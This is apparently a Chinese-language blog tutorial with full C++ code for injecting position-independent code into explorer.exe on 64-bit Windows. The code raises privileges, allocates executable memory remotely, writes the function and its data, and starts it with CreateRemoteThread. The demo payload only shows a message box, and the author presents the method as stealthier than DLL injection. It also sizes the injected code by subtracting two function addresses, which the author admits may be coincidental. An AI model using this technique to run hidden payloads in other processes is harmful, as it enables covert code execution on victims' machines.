遠程線程shellcode注入

高手請飄過~~~~~~~~~~~~~~~~~~~~~~~~~~~

         前一篇文章,寫到了利用遠程線程注入DLL,其原理是利用LoadLibaray把DLL加載進去,這種方式注入簡單,但是會在對方進程加載一個模塊。人家用工具一看,多了個模塊,就知道被搞了。。。

          今天寫下用遠程線程注入shellcode, 注入shellcode的難點是,注入的代碼不能訪問絕對地址。比如不能存在對全局變量的訪問,不能調用API,因爲你的代碼注入到人家進程空間,相應的絕對地址,很可能不是一個全局變量,或者你要調用的API。關於shellcode更多的知識,需要自己去查找更多資料,我也只懂點皮毛,就不多說了。

           利用遠程線程注入shellcode和注入dll的優缺點建議大家看這篇文章:

https://www.cnblogs.com/BoyXiao/archive/2011/08/11/2134367.html

 

          注入shellcode,原理很簡單,在目標進程開闢一段空間,分別將shellcode寫過去,這個寫過去的shellcode就是遠程線程要執行的代碼,再將shellcode需要的參數寫過去。那麼寫過去的這兩段數據分別是CreateRemoteThread的第四個第五個參數。

         代碼如下:代碼中有幾個函數,很常用,我放到DLL中了,所以這裏你看不到實現,如果需要完整代碼可以QQ844255657,或者百度一下,一個是提權代碼,一個是根據進程名獲取PID,網上一把大。另外計算shellcode的大小時,我是利用兩個函數地址相減,獲得shellcode的大小,我在IDA中看了下,這兩個函數正好相鄰,所以我就用兩個地址相減。這不知道是不是巧合。需要特別之處的是,程序是64位的。不知道32位的是不是編譯後兩個函數不會相鄰了。這個有懂得希望留言。另外在說下shellcode就是函數:DWORD WINAPI RemoteThreadProc(LPVOID lpParameter) 。 怕新手不懂多囉嗦一句。

 

// InjectCodeByRemoteThread.cpp : 定義控制檯應用程序的入口點。
//

#include "stdafx.h"
#include <Windows.h>
#include <Psapi.h>

#include "D:\\VS\\DllToInject\\DllToInject\\Utils.h"
#pragma comment(lib, "D:\\VS\\DllToInject\\x64\\Release\\UtilDll.lib")


typedef int (* FUN_MessageBox)(
	HWND hWnd,          
	LPCTSTR lpText,     
	LPCTSTR lpCaption, 
	UINT uType          
);

typedef struct tagRemoteMsgBoxData{
	FUN_MessageBox pfn;
	CHAR lpText[MAX_PATH];
	CHAR lpCaption[MAX_PATH];
}REMOTE_MSG_BOX_DATA, *PREMOTE_MSG_BOX_DATA;


typedef DWORD(WINAPI * FUN_RemoteThreadProc)(LPVOID lpParameter);

DWORD WINAPI RemoteThreadProc(LPVOID lpParameter){
	PREMOTE_MSG_BOX_DATA pRemoteData = (PREMOTE_MSG_BOX_DATA)lpParameter;
	pRemoteData->pfn(NULL, pRemoteData->lpText, pRemoteData->lpCaption, MB_OK);
	return 1;
}


void FillRemoteMsgBoxData(PREMOTE_MSG_BOX_DATA pRemoteMsgBox){
	HMODULE  hUser32 = LoadLibrary("User32.dll");
	pRemoteMsgBox->pfn = (FUN_MessageBox)GetProcAddress(hUser32, "MessageBoxA");
	strcpy(pRemoteMsgBox->lpText, "this is content");
	strcpy(pRemoteMsgBox->lpCaption, "this is title");
	FreeLibrary(hUser32);
}


int _tmain(int argc, _TCHAR* argv[])
{
	
	
	//兩個函數地址的差值就是shellcode代碼的大小,可能會有一些多的對齊數據,但是不影響
	DWORD funcSize = (DWORD)FillRemoteMsgBoxData - (DWORD)RemoteThreadProc;
	printf("shellcode size =%d\n", funcSize);

	
	REMOTE_MSG_BOX_DATA remoteData = { 0 };
	FillRemoteMsgBoxData(&remoteData);

	
	if (!AdjustProcessTokenPrivilege()){
		MyOutputDebugString("提權失敗\n");
	}

	DWORD dwPid = GetPidByName("explorer.exe");
	if (dwPid == 0){
		MyOutputDebugString("GetPidByName failed\n");
		return -1;
	}

	MyOutputDebugString("explorer.exe pid=%d\n", dwPid);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

	if (hProcess == NULL)
	{
		MyOutputDebugString("打開進程失敗!!!!");
		return -1;
	}

	//1.在遠程進程中分配內存,可讀可寫可執行
	LPVOID pszRemoteBuffer = (char *)VirtualAllocEx(hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	if (pszRemoteBuffer == NULL)
	{
		MyOutputDebugString("申請遠程空間失敗");
		return -1;
	}

	//2.在遠程申請的內存空間中寫入shellcode
	SIZE_T dwWriten = 0;
	if (!WriteProcessMemory(hProcess, pszRemoteBuffer, RemoteThreadProc, funcSize, &dwWriten))
	{
		MyOutputDebugString("寫入內存失敗");
		return -1;
	}
	printf("shellcode write bytes:%d\n", dwWriten);


	//3.在遠程申請的內存空間中寫MessageBox的數據{函數地址,content , title}
	dwWriten = 0;
	if (!WriteProcessMemory(hProcess, (CHAR *)pszRemoteBuffer + funcSize, &remoteData, sizeof(remoteData), &dwWriten))
	{
		MyOutputDebugString("寫入內存失敗");
		return -1;
	}

	//4.創建遠程線程
	DWORD dwThreadId = 0;
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (FUN_RemoteThreadProc)pszRemoteBuffer, (CHAR *)pszRemoteBuffer + funcSize, 0, &dwThreadId);

	if (hThread == NULL)
	{
		MyOutputDebugString("創建遠程線程失敗 %d\n", GetLastError());
		return -1;
	}

	//5 等待遠程線程退出,等待shellcode執行完畢
	DWORD exitCode = 0;
	DWORD dwRet = 0;
	WaitForSingleObject(hThread, INFINITE);
	dwRet = GetExitCodeThread(hThread, &exitCode);

	
	if (dwRet == 0){
		printf("GetExitCodeThread failed\n");
		return -1;
	}

	//6 檢查退出碼,如果退出碼等於1,說明shellcode執行成功
	//爲什麼等於1執行成功,shellcode返回值是1啊
	if (exitCode == 1){
		printf("shell code execute success\n");
	}

	//釋放內存,關閉句柄等
	VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
	::CloseHandle(hThread);
	::CloseHandle(hProcess);

	return 0;
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章